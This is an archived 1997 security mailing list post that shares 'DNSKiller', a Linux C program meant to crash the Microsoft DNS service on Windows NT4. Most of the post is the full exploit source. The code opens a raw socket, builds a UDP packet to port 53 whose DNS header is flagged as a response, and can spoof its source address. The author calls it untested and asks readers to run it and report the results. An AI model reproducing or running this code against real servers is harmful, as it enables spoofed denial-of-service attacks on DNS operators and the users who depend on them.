[26] in Best-of-Security

home help back first fref pref prev next nref lref last post

BoS: [Exploit?] Microsoft DNS denial of service.

daemon@ATHENA.MIT.EDU (Rikhardur Egilsson)
Wed Feb 12 05:09:24 1997

Date: 	Tue, 11 Feb 1997 15:50:49 +0000
Reply-To: Rikhardur Egilsson <k97161@SKYRR.IS>
From: Rikhardur Egilsson <k97161@SKYRR.IS>
Errors-To: best-of-security-request@suburbia.net
To: best-of-security@suburbia.net
Resent-From: best-of-security@suburbia.net

I discovered, after having written this, that I don't have access to
an NT4 server, so this program is untested.

I would apreciate if someone could verify if it works and mail me the
results.

It is supposed to crash the Microsoft DNS service as described in a
letter, from Jonathan Wilkins <jwilkins@SECNET.COM>, to the Bugtraq
mailing list on January the 26th.

btw, this is written for Linux.

--
Rikhardur Egilsson - rikardur@skyrr.is
Your computer is dead... and it was so alive...
you shouldn't have installed... Windows 95.


/****************************************************************************
** DNSKiller
** Demonstrates a bug in Microsoft DNS server.
** Version 0.9-970210 -  I don't know if this works.
** (c) 1997 - Rikhardur Egilsson - rikardur@skyrr.is
*****************************************************************************/

#include <string.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_udp.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>

void Usage(char *str) {

        printf("Usage: %s [-s <source_host>] -d <dest_host>\n", str);
        printf("      <source_host> is an optional spoofed 'from' address.\n");
        printf("      <dest_host> is the NT DNS server.\n");
        exit(-1);
}


/****************************************************************************
** Use: host = GetHost(name)
** For: 'name' is 0, or points to a ASCIIZ string.
** After: 'host' is the, network byte order, IP number of 'host', if found,
**      or 0 if not found.
**      If 'name' was 0 'host' represents this host.
*****************************************************************************/
unsigned long int GetHost(char *name) {

        char buf[100];
        struct hostent *Host;
        unsigned long int value;

        if(!name) {
                gethostname(buf, 100);
                printf("Using this host as source..\n");
                name=buf;
        }

        if(!(Host=gethostbyname(name)))
                Host=gethostbyaddr(name, strlen(name), AF_INET);
        if(!Host) {
                printf("Unknown host: %s\n", (name)? name:"<NULL>");
                return(0);
        }

        memcpy(&value, Host->h_addr_list[0], 4);
        return(value);
}


/*************************************************************************
** Usage: i=SendUDP(from, to, data, len, socket)
** Fore: 'data' points to first byte of a UDP datagram of 'len' bytes.
**      'from' and 'to' represent IP addresses in network-byte-order.
**      'socket' must be an previously opened RAW_SOCKET.
** After: if i=1, 'data' was sent, via 'socket' as an UDP package to 'to'
**      spoofed as originating from 'from'.
**      if i!=1, an error occured and no data was send.
*************************************************************************/
int SendUDP(unsigned long int from, unsigned long int to, char *data,
                                                int len, int sock) {

        char buf[len+sizeof(struct iphdr)];
        struct in_addr host;
        struct iphdr *ip=(struct iphdr *)buf;
        struct sockaddr_in sin;

        sin.sin_family=AF_INET;
        sin.sin_addr.s_addr=to;
        sin.sin_port=((struct udphdr *)data)->dest;

        bzero((void *)buf, sizeof(struct iphdr)+len);
        ip->version=4;
        ip->ihl=5;
        ip->tos=0;
        ip->tot_len=htons(sizeof(struct iphdr)+len);
        ip->id=htons(0xdead);
        ip->frag_off=0;
        ip->ttl=255;
        ip->protocol=IPPROTO_UDP;
        ip->saddr=from;
        ip->daddr=to;
        /* Note: Checksum will be calculated by the kernel. */

        memcpy(buf+sizeof(struct iphdr), data, len);

        host.s_addr=(unsigned long int)from;
        printf("Sending from: %s -> ", inet_ntoa(host));
        host.s_addr=(unsigned long int)to;
        printf("to: %s ", inet_ntoa(host));
        printf(" %d bytes.\n", len);

        return(sendto(sock, buf,len+sizeof(struct iphdr), 0,
                                (struct sockaddr *)&sin, sizeof(sin)));

}


void CreatePayload(char **Payload, int *len) {

        static char buf[sizeof(struct udphdr)+sizeof(HEADER)];
        struct udphdr *udp=(struct udphdr *)buf;
        HEADER *dns=(HEADER *) (buf+sizeof(struct udphdr));

        bzero((void *)buf, sizeof(HEADER)+sizeof(struct udphdr));
        udp->source=htons(1111);
        udp->dest=htons(53);    /* domain */
        udp->len=htons(sizeof(struct udphdr)+sizeof(HEADER));
        udp->check=0;
        dns->qr=1;              /* This is an answer */

        *len=sizeof(struct udphdr)+sizeof(HEADER);
        *Payload=buf;
}


int main(int argc, char *argv[]) {

        extern char *optarg;
        extern int optind, opterr, optopt;
        char c, *source=0, *dest=0, *package;
        int sock, len;
        unsigned long int from, to;

        if((sock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) {
                printf("No raw socket. Who are you ?\n");
                exit(-1);
        }
        setuid(getuid());

        while(1) {
                c = getopt(argc, argv, "hs:d:");
                        if( c == -1)
                                break;
                switch(c) {
                        case 's':
                                source = optarg;
                                break;
                        case 'd':
                                dest=optarg;
                                break;
                        case 'h':
                                Usage(argv[0]);
                                break;
                        default:
                                Usage(argv[0]);
                                break;
                }
        }
        if(!dest)  {
                printf("Huhm, ehrm, didn't we forget something ?\n");
                Usage(argv[0]);
        }

        from=GetHost(source);
        to=GetHost(dest);
        if(!from || !to) {
                printf("Error, can't locate ");
                printf("%s host address.\n", (from)? "target":"source");
                exit(-1);
        }

        CreatePayload(&package, &len);
        SendUDP(from, to, package, len, sock);

        return(0);
}


home help back first fref pref prev next nref lref last post